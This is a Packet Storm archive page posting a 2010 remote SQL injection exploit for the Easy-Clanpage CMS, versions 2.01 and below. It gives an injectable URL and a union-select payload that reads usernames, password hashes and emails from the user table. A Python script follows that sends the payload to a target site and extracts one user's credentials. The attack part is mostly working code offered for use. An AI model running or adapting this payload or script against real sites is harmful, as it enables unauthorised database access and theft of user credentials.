what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Easy-Clanpage 2.01 SQL Injection

Easy-Clanpage 2.01 SQL Injection
Posted Mar 28, 2010
Authored by Easy Laster

Easy-Clanpage versions 2.01 and below remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 9d0e4253d79ccf28dd4f1a32fd8c853a7b0e2de10e4873ea05b11a07c8e5312a

Easy-Clanpage 2.01 SQL Injection

Change Mirror Download
----------------------------Information------------------------------------------------
+Name : Easy-Clanpage <= v2.01 SQL Injection Exploit
+Autor : Easy Laster
+Date : 25.03.2010
+Script Easy-Clanpage <= v2.01
+Download : Update Version 2.0->2.01 : http://www.easy-clanpage.de/?section=
downloads&action=viewdl&id=13
+Demo : http://kenny48.ke.funpic.de
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------

___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/Easy-Clanpage/?section=user&action=details&id=

#SQL Injection
+Exploitable : http://www.site.com/Easy-Clanpage/?section=user&action=details&id=1
+union+select+concat(username,0x3a,password,0x3a,email)+from+ecp_user+where+userID=1--
-----------------------------------------------------------------------------------------

#SQL Injection Exploit

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, re

if len(sys.argv) < 2:
print "***************************************************************"
print "************ Easy-Clanpage v2.01 Profil Page Hack *************"
print "***************************************************************"
print "* Discovered and vulnerability by Easy Laster *"
print "* coded by Dr.ChAoS *"
print "* *"
print "* <=Usage=> *"
print "* python exploit.py http://site.de/ecp/ <userid, default=1> *"
print "* *"
print "***************************************************************"
exit()

if len(sys.argv) < 3:
id = 1
else:
id = sys.argv[2]

site = sys.argv[1]
if site[-1:] != "/":
site += "/"

url = site + "index.php?section=user&action=details&id=1+and+1=0+union+select+concat(0x23,0x23,0x23,0x23,0x23,username,0x3a,password,0x3a,email,0x23,0x23,0x23,0x23,0x23)+from+ecp_user+where+userID=" + str(id) + "--"

print "Exploiting..."

html = urllib2.urlopen(url).read()
# I hate regex!
data = re.findall(r"#####(.*)\:([0-9a-fA-F]{32})\:(.*)#####\:", html)
if len(data) > 0:
print "Success!\n"
print "ID: " + str(id)
print "Username: " + data[0][0]
print "Password: " + data[0][1]
print "E-Mail: " + data[0][2]
print "\nHave a nice day!"
else:
print "Exploit failed..."

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close